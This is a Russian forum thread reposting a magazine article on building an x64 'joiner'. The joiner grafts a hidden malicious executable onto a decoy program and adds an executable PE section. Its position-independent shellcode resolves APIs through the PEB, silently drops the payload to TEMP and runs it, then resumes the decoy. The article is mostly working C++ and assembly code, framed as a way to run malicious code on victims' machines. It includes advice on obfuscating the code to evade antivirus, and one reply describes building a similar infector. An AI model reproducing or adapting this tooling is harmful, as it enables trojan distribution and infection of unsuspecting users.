• Обратная связь: [email protected]

    Наш канал в telegram: https://t.me/ru_sfera

    Группа VK: https://vk.com/rusfera

    Пользователи могут писать на форуме ТОЛЬКО ЧЕРЕЗ 7 ДНЕЙ после регистрации

Малварь как искусство Качественная склейка для x64


X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
6 199
Репутация
8 333
Статья с Хакера:

Вообще не пугайтесь слова "Джойнер", прочитав статью можно научится неплохим подходам и использовать их в своих проектах.)

Представим, что нам нужно запустить некий зловредный код на машине жертвы. Доступа к этому компу у нас нет, и кажется, что самым простым вариантом будет вынудить жертву сделать все за нас. Конечно, никто в здравом уме не запустит сомнительное ПО на своем девайсе, поэтому жертву нужно заинтересовать — предложить что‑то полезное. Тут в дело вступает джоинер — тулза, которая встроит в полезную нагрузку наш код и скрытно его запустит.

Существуют ли готовые решения, предназначенные для склейки программ и вредоносной нагрузки? Безусловно, но здесь есть ряд проблем. Такие инструменты детектятся антивирусами, стоят денег и часто продаются как сервис, то есть требуют оплаты за разовую склейку. Бесплатные и простые способы встроить полезную нагрузку вида «поместим файлы в самораспаковывающийся архив» и вовсе банальный фуфломицин. Решение же, сделанное своими руками, может быть улучшено, исправлено в случае детекта и, конечно, останется бесплатным.

НЕМНОГО ТЕОРИИ

Джоинер может и должен склеивать два исполняемых файла. Первый — визуальная оболочка, красивая картинка и отвлекающий маневр. Это то, что увидит юзер на экране своего компьютера, когда запустит исполняемый файл. Второй — полезная нагрузка, которая запускается без явного желания пользователя. По умолчанию второй файл не будет как‑то скрыт: если в нем присутствуют окна или, например, громкое музыкальное сопровождение, то это все юзер заметит. Поэтому нужно обеспечить скрытную работу полезной нагрузки. Джоинер лишь склеивает, но не маскирует вредоносное приложение.

А может ли джоинер склеить исполняемый файл с картинкой? Может, но это не имеет смысла. Чисто теоретически, если бы он склеивал исполняемый файл и картинку, на выходе все равно получался бы исполняемый файл, который не имел бы расширения .jpg, .pngили другого подобного. Редакторы и просмотрщики картинок такой файл открыть не смогут. Либо мы получим картинку, но в таком случае не сможем запустить исполняемый файл. Есть еще вариант, когда приложение стартует и открывает картинку через API ShellExecute. Действие занятное, но только в качестве фокуса — пользы от него никакой.

КАК УСТРОЕН НАШ ВАРИАНТ

Нашей целью будет Windows 10 x64, но, поняв принцип, легко можно переработать инструментарий под другие версии семейства Windows. Код должен работать и на Windows 7/8, но не тестировался там. Мы будем использовать смесь С++ и ассемблера.

Алгоритм работы

Оболочка — наш первый ехе, который будет виден клиенту. Это, так сказать, приманка. Нагрузка — второй ехе, в котором содержится зловредный контент. В оболочку добавляется дополнительная секция, куда записывается шелл‑код и нагрузка. Управление сразу передается на шелл‑код, задача которого — извлечь нагрузку, сохранить ее на диск и запустить. На верхнем уровне все сводится к тому, что мы получаем некий байтовый массив, который должны положить в дополнительную секцию. Потом останется лишь исправить точку входа у оболочки, и все — склейка завершена.

C++:
try {
        const auto goodfile = std::wstring(argv[1]);
        const auto badfile = std::wstring(argv[2]);
        const auto content = CreateData(badfile,goodfile);
        AddDataToFile(goodfile, content, L"fixed.exe");
    }
    catch (const std::exception& error)
    {
        std::cout << error.what() << std::endl;
    }

Добавление секции

Это самая простая часть алгоритма, поэтому для разогрева начнем именно с нее. Открываем на чтение файл оболочки:

C++:
std::ifstream inputFile(inputPe, std::ios::binary);
    if (inputFile.fail())
    {
        const auto message = Utils::WideToString(L"Unable to open " + inputPe);
        throw std::logic_error(message);
    }

Нам понадобится библиотека для работы с PE-файлами. Это очень сильно упростит нам добавление секции, редактирование ее атрибутов, исправление entry point и прочее. Я выбрал старую проверенную библиотеку .

Но библиотеку нужно немного подправить, если мы хотим использовать С++17 для компиляции проектов. Правки эти делаются тривиально и состоят в том, что нужно устаревший auto_ptr сменить на unique_ptr. Из‑за этих правок код библиотеки я предложил бы хранить непосредственно в своем репозитории, а не использовать submodule. Секция добавляется так:

C++:
auto peImage = pe_bliss::pe_factory::create_pe(inputFile);
    pe_bliss::section newSection;
    newSection.readable(true).writeable(true).executable(true);         // Секция получает атрибуты read + write + execute
    newSection.set_name("joiner");                                      // Имя секции
    newSection.set_raw_data(std::string(data.cbegin(), data.cend()));   // Контент секции
    pe_bliss::section& added_section = peImage.add_section(newSection);
    const auto alignUp = [](unsigned int value, unsigned int aligned) -> unsigned int
    {
        const auto num = value / aligned;
        return (num * aligned < value) ? (num * aligned + aligned) : (num * aligned);
    };
    peImage.set_section_virtual_size(added_section,
        alignUp(data.size(), peImage.get_section_alignment()));         // Виртуальный размер секции выравнивается в бОльшую сторону
    peImage.set_ep(added_section.get_virtual_address() + sizeof(HEAD));

Последняя строка заслуживает отдельных комментариев. Там меняется точка входа, но новая EP (entry point) выставляется не на самое начало новой секции, а на начало со смещением, которое равно размеру структуры HEAD. Эта структура выглядит так:

C++:
struct HEAD
{
    unsigned long long sizeOfPayload;
    unsigned long long OEP;
};

Возникает логичный вопрос: что это за поля и откуда берутся их значения? Поле sizeOfPayload — размер файла нагрузки, а OEP — значение точки входа оболочки до того, как мы добавили новую секцию и изменили на нее точку входа. Как будет выглядеть структура новой секции в целом, показано на картинке.

1604923423591.png


Ассемблер и шелл-код

Код, который мы добавим в оболочку, должен соответствовать определенным требованиям. И на языке ассемблера добиться этого соответствия не просто легче — это единственно возможный путь. Разберемся почему.

Когда мы инжектим свой код в посторонний .ехе, мы должны быть готовы к тому, что код запустится по случайному адресу без подготовки со стороны загрузчика. Не будет никаких известных адресов API-функций, релокации никто не исправит, поэтому нужно писать самодостаточный код. Такой код иногда называют шелл‑кодом, хотя он и не является шелл‑кодом в понимании эксплуатации уязвимостей. Это, скорее, код «в шелл‑код‑стиле».

Таким образом, этот код:
  • должен уметь работать с любого адреса, неважно, по какому адресу он оказался в памяти;
  • должен находить адреса нужных ему функций.
Дельта-смещение

Если файл был собран под адрес Х, а запустился с адреса Y, то все абсолютные адреса требуют корректировки. Разница между этими адресами как раз и называется дельта‑смещением. Вот код для вычисления такого дельта‑смещения:
Код:
call delta
delta:
    pop rax
    mov rcx, offset delta
    sub rax, rcx
Вызов функции с учетом этого смещения выглядит так:
Код:
mov rax, offset GetNtdllByModuleList
    add rax, [rsp+100h+var_delta]
    call rax

Строки, смешанные с кодом

Хранить строки, переменные (данные) и код в разных секциях для шелл‑кода неприемлемо. Поэтому здесь код и данные смешиваются. С локальными переменными на стеке нет никаких проблем. Со строками используется следующий прием:

Код:
jmp short begin
    getprocaddr:
        db 'LdrGetProcedureAddress',0
    getdllhandle:
        db 'LdrGetDllHandle',0
begin:

То есть инструкции идут вместе со строками. Конечно, строки нельзя выполнить, и мы делаем короткие (short) переходы через строки.

Поиск границ шелл-кода

Для этого мы воспользуемся public-переменными. В ассемблерном листинге, в самом начале нашего шелл‑кода, мы поместим переменную. Она послужит маркером начала. Точно так же мы поместим переменную в конце кода.

Код:
PUBLIC sizeOfPayload ; Маркер начала
PUBLIC FinishMarker ; Маркер завершения шелл-кода
.CODE
sizeOfPayload QWORD 0 ; Поля структуры HEAD
OEP           QWORD 0
launcher proc ; Начало самого кода


MASM, cmake и Visual Studio

Нам нужно подружить эти инструменты. Macro assembler нужен для написания шелл‑кода, потому что встраивать ассемблерный код в программу на С++ с помощью __asm{} в архитектуре x64 нельзя. Создается отдельный файл с ассемблерным кодом, обычно для таких файлов используют расширение .asm, а в CMakeLists.txt добавляются такие директивы:

Код:
enable_language(ASM_MASM)
set(ASMSRC shellcode.asm)
target_sources(${PROJECT_NAME} PRIVATE ${ASMSRC})
if(CMAKE_CL_64 EQUAL 0)
    set_source_files_properties(${ASMSRC} PROPERTIES COMPILE_FLAGS "/safeseh /DSC_WIN32")
else()
    set_source_files_properties(${ASMSRC} PROPERTIES COMPILE_FLAGS "/DSC_WIN64")
endif()

Теперь мы получим возможность слинковать два объектных файла при условии, что в С++ используется ключевое слово extern. Например:

Код:
extern "C" unsigned long long sizeOfPayload;


Алгоритм запуска нагрузки

Шелл‑код работает так:
1. Ищет путь к директории TEMP.
2. Записывает туда файл с нагрузкой.
3. Запускает этот файл на выполнение.
4. Передает управление оригинальной точке входа оболочки.

В виде листинга это может выглядеть так:

C++:
void DropToDiskAndExecute(const uint8_t* data, unsigned int sizeData, const API_Adresses* addresses)
{
    STARTUPINFOA startup{0};
    PROCESS_INFORMATION procInfo{0};
    const char surprise[] = "payload.exe";
    const auto size = reinterpret_cast<gettemppatha*>(
        addresses->GetTempPathA)(0, nullptr);
    auto* location = reinterpret_cast<virtualalloc*>(addresses->VirtualAlloc)
        (nullptr, size + sizeof(surprise),
        MEM_COMMIT, PAGE_READWRITE);
    if (!location)
    {
        return;
    }
    reinterpret_cast<gettemppatha*>(addresses->GetTempPathA)(size, reinterpret_cast<LPSTR>(location));
    reinterpret_cast<winlstrcat*>(addresses->lstrcatA)(reinterpret_cast<LPSTR>(location), surprise);
    auto handle = reinterpret_cast<createfilea*>(addresses->CreateFileA)
        (reinterpret_cast<LPSTR>(location), GENERIC_WRITE,
        FILE_SHARE_READ | FILE_SHARE_WRITE, nullptr,
        CREATE_ALWAYS, 0, 0);
    reinterpret_cast<writefile*>(addresses->WriteFile)(handle, data,
        sizeData, nullptr, nullptr);
    reinterpret_cast<closehandle*>(addresses->CloseHandle)(handle);
    reinterpret_cast<createprocessa*>(addresses->CreateProcessA)(reinterpret_cast<LPSTR>(location),
        nullptr,
        nullptr, nullptr, FALSE,
        0, nullptr, nullptr, &startup, &procInfo);
    reinterpret_cast<closehandle*>(addresses->CloseHandle)(procInfo.hProcess);
    reinterpret_cast<closehandle*>(addresses->CloseHandle)(procInfo.hThread);
    reinterpret_cast<virtualfree*>(addresses->VirtualFree)(location, 0, MEM_RELEASE);
}

Данный код заслуживает более детального рассмотрения. Во‑первых, он на С++. Но как же так? Ведь шелл‑код должен быть на ассемблере? Да, шелл‑код на ассемблере. Просто вначале был этот код, а потом я его дизассемблировал и скопировал результат (с небольшими правками) в shellcode.asm. Во‑вторых, это — чистая функция, то есть результат ее работы зависит только от входных параметров. Это важно, поскольку такие функции генерируются компилятором практически сразу в нужном нам шелл‑код‑стиле. В‑третьих, тут нет какой‑то обработки ошибок, потому что в случае ошибки мы не должны никак ее обрабатывать и вообще обнаруживать свое присутствие. Также важно, что все необходимые API-функции подаются нам на вход:

C++:
struct API_Adresses
{
    FARPROC GetTempPathA;
    FARPROC VirtualAlloc;
    FARPROC lstrcatA;
    FARPROC CreateFileA;
    FARPROC WriteFile;
    FARPROC CloseHandle;
    FARPROC CreateProcessA;
    FARPROC VirtualFree;
};

Для работы алгоритма нам понадобится восемь функций. Но как найти их адреса?

Поиск API в памяти

Алгоритм достаточно прост:
  1. Ищем базу загрузки ntdll.dll.
  2. В таблице экспорта находим две функции: LdrGetDllHandleи LdrGetProcedureAddress.
  3. С их помощью находим адреса восьми функций из структуры API_Adresses.
База загрузки ntdll.dll ищется благодаря тому, что peb_loader_data принадлежит пространству ntdll.dll:

Код:
GetNtdllByModuleList:
                mov     rax, gs:[60h]
                mov     ecx, 5A4Dh
                mov     rax, [rax+18h]
                and     rax, 0FFFFFFFFFFFFF000h
try_again:
                cmp     [rax], cx
                jz      short finish
                sub     rax, 1000h
                jnz     short try_again
finish:
                ret

Код парсинга таблицы экспорта был честно позаимствован на просторах интернета (правда, оригинальная версия содержит баг, который в моем коде исправлен):

Код:
;http://mcdermottcybersecurity.com/articles/windows-x64-shellcode
;look up address of function from DLL export table
;rcx=DLL imagebase, rdx=function name string
;DLL name must be in uppercase
;r15=address of LoadLibraryA (optional, needed if export is forwarded)
;returns address in rax
;returns 0 if DLL not loaded or exported function not found in DLL
;NtGetProcAddressAsm  proc
NtGetProcAddressAsm:
    push rcx
    push rdx
    push rbx
    push rbp
    push rsi
    push rdi
start:
found_dll:
    mov rbx, rcx            ;get dll base addr — points to DOS "MZ" header
    mov r9d, [rbx+3ch]      ;get DOS header e_lfanew field for offset to "PE" header
    add r9, rbx             ;add to base — now r9 points to _image_nt_headers64
    add r9, 88h             ;18h to optional header + 70h to data directories
                            ;r9 now points to _image_data_directory[0] array entry
                            ;which is the export directory
    mov r13d, [r9]          ;get virtual address of export directory
    test r13, r13           ;if zero, module does not have export table
    jnz has_exports
    xor rax, rax            ;no exports — function will not be found in dll
    jmp done
has_exports:
    lea r8, [rbx+r13]       ;add dll base to get actual memory address
                            ;r8 points to _image_export_directory structure (see winnt.h)
    mov r14d, [r9+4]        ;get size of export directory
    add r14, r13            ;add base rva of export directory
                            ;r13 and r14 now contain range of export directory
                            ;will be used later to check if export is forwarded
    mov ecx, [r8+18h]       ;NumberOfNames
    mov r10d, [r8+20h]      ;AddressOfNames (array of RVAs)
    add r10, rbx            ;add dll base
    dec ecx                 ;point to last element in array (searching backwards)
for_each_func:
    lea r9, [r10 + 4*rcx]   ;get current index in names array
    mov edi, [r9]           ;get RVA of name
    add rdi, rbx            ;add base
    mov rsi, rdx            ;pointer to function we're looking for
compare_func:
    cmpsb
    jne wrong_func          ;function name doesn't match
    mov al, [rsi]           ;current character of our function
    test al, al             ;check for null terminator
    jz bug_fix              ;bugfix here — doulbe check of zero byte
                            ;if at the end of our string and all matched so far, found it
    jmp compare_func        ;continue string comparison
wrong_func:
    loop for_each_func      ;try next function in array
    xor rax, rax            ;function not found in export table
    jmp done
bug_fix:
    mov al, [rdi]
    test al, al
    jz short found_func
    jmp short compare_func
found_func:                 ;ecx is array index where function name found
                            ;r8 points to _image_export_directory structure
    mov r9d, [r8+24h]       ;AddressOfNameOrdinals (rva)
    add r9, rbx             ;add dll base address
    mov cx, [r9+2*rcx]      ;get ordinal value from array of words
    mov r9d, [r8+1ch]       ;AddressOfFunctions (rva)
    add r9, rbx             ;add dll base address
    mov eax, [r9+rcx*4]     ;Get RVA of function using index
    cmp rax, r13            ;see if func rva falls within range of export dir
    jl not_forwarded
    cmp rax, r14            ;if r13 <= func < r14 then forwarded
    jae not_forwarded
    ;forwarded function address points to a string of the form <DLL name>.<function>
    ;note: dll name will be in uppercase
    ;extract the DLL name and add ".DLL"
    lea rsi, [rax+rbx]      ;add base address to rva to get forwarded function name
    lea rdi, [rsp+30h]      ;using register storage space on stack as a work area
    mov r12, rdi            ;save pointer to beginning of string
copy_dll_name:
    movsb
    cmp byte ptr [rsi], 2eh     ;check for '.' (period) character
    jne copy_dll_name
    movsb                               ;also copy period
    mov dword ptr [rdi], 004c4c44h      ;add "DLL" extension and null terminator
    mov rcx, r12            ;r12 points to "<DLL name>.DLL" string on stack
    call r15                ;call LoadLibraryA with target dll
    mov rcx, r12            ;target dll name
    mov rdx, rsi            ;target function name
    jmp start               ;start over with new parameters
not_forwarded:
    add rax, rbx            ;add base addr to rva to get function address
done:
    pop rdi
    pop rsi
    pop rbp
    pop rbx
    pop rdx
    pop rcx
    ret

Когда у нас появились адреса двух краеугольных функций LdrGetDllHandleи LdrGetProcedureAddress, дальше можно найти адрес функции для любой уже загруженной библиотеки. Либа kernel32.dll тоже загружается лоадером сразу, так что мы без проблем найдем все интересующие нас адреса:

Код:
GetProcedureAddressAsm:
    var_28= word ptr -28h
    var_26= word ptr -26h
    var_20= qword ptr -20h
    var_18= word ptr -18h
    var_16= word ptr -16h
    var_10= qword ptr -10h
    arg_0= qword ptr  8
    arg_8= qword ptr  10h
    arg_10= qword ptr  18h
    arg_18= qword ptr  20h
    mov     [rsp+arg_10], rbx
    mov     [rsp+arg_18], rsi
    push    rdi
    sub     rsp, 40h
    xor     ebx, ebx
    mov     rdi, rdx
    test    rcx, rcx
    mov     rdx, rcx
    mov     ecx, ebx
    mov     rsi, r9
    mov     r10, r8
    jz      short loc_14000689A
    cmp     [rdx], cx
    jz      short loc_140006898
    nop     dword ptr [rax+00000000h]
    loc_140006890:
    inc     ecx
    cmp     [rdx+rcx*2], bx
    jnz     short loc_140006890
    loc_140006898:
    add     ecx, ecx
    loc_14000689A:
    mov     [rsp+48h+var_28], cx
    lea     r9, [rsp+48h+arg_0]
    add     cx, 2
    mov     [rsp+48h+var_20], rdx
    mov     [rsp+48h+var_26], cx
    lea     r8, [rsp+48h+var_28]
    xor     ecx, ecx
    xor     edx, edx
    call    r10
    test    rdi, rdi
    jz      short loc_1400068D0
    cmp     byte ptr [rdi], 0
    jz      short loc_1400068D0
    loc_1400068C8:
    inc     ebx
    cmp     byte ptr [rbx+rdi], 0
    jnz     short loc_1400068C8
    loc_1400068D0:
    mov     rcx, [rsp+48h+arg_0]
    lea     r9, [rsp+48h+arg_8]
    mov     [rsp+48h+var_18], bx
    lea     rdx, [rsp+48h+var_18]
    inc     bx
    mov     [rsp+48h+var_10], rdi
    xor     r8d, r8d
    mov     [rsp+48h+var_16], bx
    call    rsi
    mov     rax, [rsp+48h+arg_8]
    mov     rbx, [rsp+48h+arg_10]
    mov     rsi, [rsp+48h+arg_18]
    add     rsp, 40h
    pop     rdi
    ret

Непонятен ассемблерный код? Изначально этот код тоже написан на С++:

Код:
FARPROC GetProcedureAddress(wchar_t* library, char* function,
    LdrGetDllHandlePointer* LdrGetDllHandle,
    LdrGetProcedureAddressPointer* LdrGetProcedureAddress)
{
    const auto libNameLen = static_cast<USHORT>(GetWcharLen(library));
     UNICODE_STRING libraryName{ libNameLen,
         libNameLen + sizeof(wchar_t),
         library };
    HMODULE hModule;
    LdrGetDllHandle(nullptr, nullptr, &libraryName, &hModule);
    const auto functionNameLen = static_cast<USHORT>(GetCharLen(function));
    ANSI_STRING functionName{ functionNameLen,
        functionNameLen + sizeof(char),
        function };
    FARPROC result;
    LdrGetProcedureAddress(hModule, &functionName, 0, &result);
    return result;
}

Для заполнения структуры с адресами используется такой метод (далее приведен его псевдокод):

C++:
API_Adresses CreateAddressStruct(LdrGetDllHandlePointer* LdrGetDllHandle,
    LdrGetProcedureAddressPointer* LdrGetProcedureAddress, GetProcedureAddressPointer* getter)
{
    API_Adresses result{};
    wchar_t* libname = L"kernel32.dll";
    result.CloseHandle = getter(libname, "CloseHandle", LdrGetDllHandle,
        LdrGetProcedureAddress);
    result.CreateFileA = getter(libname, "CreateFileA", LdrGetDllHandle,
        LdrGetProcedureAddress);
    result.CreateProcessA = getter(libname, "CreateProcessA", LdrGetDllHandle,
        LdrGetProcedureAddress);
    result.GetTempPathA = getter(libname, "GetTempPathA", LdrGetDllHandle,
        LdrGetProcedureAddress);
    result.lstrcatA = getter(libname, "lstrcatA", LdrGetDllHandle,
        LdrGetProcedureAddress);
    result.VirtualAlloc = getter(libname, "VirtualAlloc", LdrGetDllHandle,
        LdrGetProcedureAddress);
    result.VirtualFree = getter(libname, "VirtualFree", LdrGetDllHandle,
        LdrGetProcedureAddress);
    result.WriteFile = getter(libname, "WriteFile", LdrGetDllHandle,
        LdrGetProcedureAddress);
    return result;
}

Вся высокоуровневая логика выглядит следующим образом:

Код:
sizeOfPayload QWORD 0
OEP           QWORD 0
launcher proc
var_ntdllBase          = qword ptr -10h
var_ldrProcedureAddr   = qword ptr -20h
var_ldrLoadDll         = qword ptr -30h
var_delta              = qword ptr -40h
var_apis               = qword ptr -90h
    call delta
delta:
    pop rax
    mov rcx, offset delta
    sub rax, rcx
    sub rsp, 100h
    mov [rsp+100h+var_delta], rax
    jmp short begin
    getprocaddr:
        db 'LdrGetProcedureAddress',0
    getdllhandle:
        db 'LdrGetDllHandle',0
begin:
    mov rax, offset GetNtdllByModuleList
    add rax, [rsp+100h+var_delta]
    call rax
    mov [rsp+100h+var_ntdllBase], rax
    mov rcx, rax
    lea rdx, getprocaddr
    mov rax, offset NtGetProcAddressAsm
    add rax, [rsp+100h+var_delta]
    call rax
    mov [rsp+100h+var_ldrProcedureAddr], rax
    mov rcx, [rsp+100h+var_ntdllBase]
    lea rdx, getdllhandle
    mov rax, offset NtGetProcAddressAsm
    add rax, [rsp+100h+var_delta]
    call rax
    mov [rsp+100h+var_ldrLoadDll], rax
    mov rdx, rax
    mov r8, [rsp+100h+var_ldrProcedureAddr]
    mov r9, offset GetProcedureAddressAsm
    add r9, [rsp+100h+var_delta]
    lea rcx, [rsp+100h+var_apis]
    mov rax, offset CreateAddressStructAsm
    add rax, [rsp+100h+var_delta]
    call rax
    mov r8, rax
    lea rdx, sizeOfPayload
    mov rdx, qword ptr [rdx]
    lea rcx, FinishMarker
    mov rax, offset DropToDiskAndExecuteAsm
    add rax, [rsp+100h+var_delta]
    call rax
    lea rax, OEP
    mov rax, qword ptr [rax]
    mov rcx, gs:[60h] ; GetModuleHanldeW(nullptr)
    mov rcx, [rcx+10h]
    add rax, rcx
    add rsp, 100h
    jmp rax

Код работает благодаря тому, что размер нагрузки расположен в переменной sizeOfPayload, а сам контент второго исполняемого файла — сразу за шелл‑кодом. Весь код проекта доступен по ссылке: .

ВЫВОДЫ

Конечно, через какое‑то время любое антивирусное ПО научится детектить этот код, но, поскольку он доступен в виде исходников, его можно модифицировать, обфусцировать, подвергать мутациям, получая каждый раз чистые файлы. А улучшения, несомненно, понадобятся.

Здесь понадобится поддержка и старой доброй архитектуры х86, и всей линейки Windows, да и над скрытностью поработать будет нелишним. Сейчас аналитик может увидеть нечто подозрительное, просто посмотрев, какой секции принадлежит точка входа, так как если она расположена в последней секции, то файл подвергался модификациям.

В сети часто можно увидеть жалобы, например на распространителей «таблеток от жадности» (кряков и кейгенов), за то, что в таком ПО много троянских программ. Но теперь ты знаешь, как эти трояны туда попадают.
 
Последнее редактирование:

~Sw!rL~

Пользователь
Форумчанин
Регистрация
07.11.2020
Сообщения
1
nPuKO^bHA9| CTATb9| , coP9|H 3a TPaHc^uT, PyccKOu K^aBbI HETy)
 

Spectrum735

Просветленный
Просветленный
Регистрация
21.02.2019
Сообщения
288
Репутация
171
пробовал сделать что-то подобное на бейсике, да так, чтоб иконка заражаемого файла оставалась неизменной, а вирь работоспособный вместе с программой
 
Верх Низ